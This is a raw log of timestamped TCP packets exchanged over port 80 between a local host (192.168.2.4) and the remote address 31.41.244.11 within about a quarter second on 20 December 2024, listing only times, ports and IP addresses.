Dec 20, 2024 09:12:51.434828997 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.434865952 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.434919119 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.435713053 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.435765982 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.435806990 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.435952902 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.436705112 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.436759949 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.436899900 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.436954975 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.437649965 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.437697887 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.437732935 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.437773943 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.438580990 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.438652992 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.438688993 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.438725948 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.439537048 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.439584970 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.439721107 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.439760923 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.440470934 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.440526962 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.440588951 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.440633059 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.441450119 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.441504955 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.441557884 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.441600084 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.442373991 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.442430973 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.442475080 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.442517042 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.443346024 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.443402052 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.443454027 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.444287062 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.444333076 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.444380999 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.444431067 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.445240021 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.445286036 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.445362091 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.445414066 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.446254969 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.446304083 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.446345091 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.446485996 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.447202921 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.447267056 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.447335005 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.447375059 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.448343992 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.448417902 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.448476076 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.448529005 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.449047089 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.449099064 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.449139118 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.449187040 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.450023890 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.450084925 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.450100899 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.450139046 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.450946093 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.451001883 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.451101065 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.451148033 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.451939106 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.451987028 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.452061892 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.452152967 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.452832937 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.452899933 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.452955961 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.452996016 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.453815937 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.453870058 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.453915119 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.453954935 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.454726934 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.454829931 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.454864025 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.454916954 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.455704927 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.455753088 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.455812931 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.455852985 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.456635952 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.456788063 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.456821918 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.456845045 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.457602024 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.457657099 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.457720995 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.457948923 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.458583117 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.458678007 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.458740950 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.459498882 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.459604025 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.459650040 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.460539103 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.460591078 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.460695982 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.460748911 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.461606979 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.461704016 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.461750031 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.462371111 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.462444067 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.462487936 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.463423014 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.463483095 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.463556051 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.463722944 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.464250088 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.464306116 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.464349031 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.464389086 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.465229988 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.465286970 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.465322971 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.465358973 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.466202021 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.466253042 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.466288090 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.466301918 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.467127085 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.467178106 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.467396021 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.468074083 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.468121052 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.468132973 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.468163967 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.468344927 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.469072104 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.469219923 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.611696959 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.611757040 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.611799002 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.611845016 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.612160921 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.612205982 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.612241983 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.612282991 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.613143921 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.613215923 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.613254070 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.613296032 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.614046097 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.614085913 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.614188910 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.614236116 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.615015984 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.615133047 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.615189075 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.615226030 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.615988970 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.616056919 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.616094112 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.616142988 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.616918087 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.616977930 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.617021084 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.617063999 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.617857933 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.617898941 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.618012905 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.618063927 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.618808031 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.618853092 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.618908882 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.619067907 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.619781971 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.619824886 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.619869947 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.619941950 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.620733023 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.620781898 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.620824099 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.620867968 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.621715069 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.621803045 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.621840000 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.621905088 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.622647047 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.622723103 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.622800112 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.622863054 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.623569012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.623620033 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.623692036 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.623733044 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.624516010 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.624560118 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.624634027 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.624716043 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.625468969 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.625519037 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.625572920 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.625725985 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.626439095 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.626482964 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.626528025 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.626566887 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.627368927 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.627412081 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.627465963 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.627510071 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.628349066 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.628391027 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.628434896 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.628474951 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.629293919 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.629339933 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.629364967 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.629407883 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.630217075 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.630265951 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.630309105 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.630352020 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.631159067 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.631212950 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.631256104 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.631300926 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.632122040 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.632201910 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.632246017 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.632293940 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.633069038 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.633171082 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.633202076 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.633227110 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.634169102 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.634196997 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.634217024 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.634234905 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.635453939 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.635500908 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.635571003 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.635680914 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.635957956 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.636007071 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.636070013 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.636112928 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.636878967 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.636997938 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.637056112 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.637888908 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.637991905 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.638016939 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.638130903 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.638789892 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.638931036 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.638948917 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.638992071 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.639717102 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.639784098 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.639827013 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.639931917 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.640671015 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.640710115 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.640788078 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.640836000 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.641608953 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.641745090 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.641791105 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.642565966 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.642621040 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.642663002 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.642708063 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.643562078 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.643610954 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.643702984 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.643745899 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.644485950 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.644545078 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.644594908 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.644638062 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.645447969 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.645509005 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.645787001 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.645837069 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.646408081 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.646450043 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.646537066 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.646576881 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.647347927 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.647403002 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.647488117 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.647588968 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.648281097 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.648345947 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.648423910 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.648463964 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.649240971 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.649292946 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.649336100 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.649374008 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.650201082 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.650301933 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.650331974 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.650353909 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.651139021 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.651253939 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.651256084 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.651298046 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.652091026 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.652143002 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.652179003 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.652322054 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.653065920 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.653115034 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.653150082 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.653187990 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.653980970 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.654063940 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.654107094 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.654150963 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.655324936 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.655374050 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.655504942 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.655548096 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.655911922 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.656032085 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.656032085 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.656071901 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.656856060 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.657037973 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.657041073 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.657078981 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.657814980 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.657854080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.657883883 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.657934904 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.658504963 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.658559084 CET	49874	80	192.168.2.4	31.41.244.11
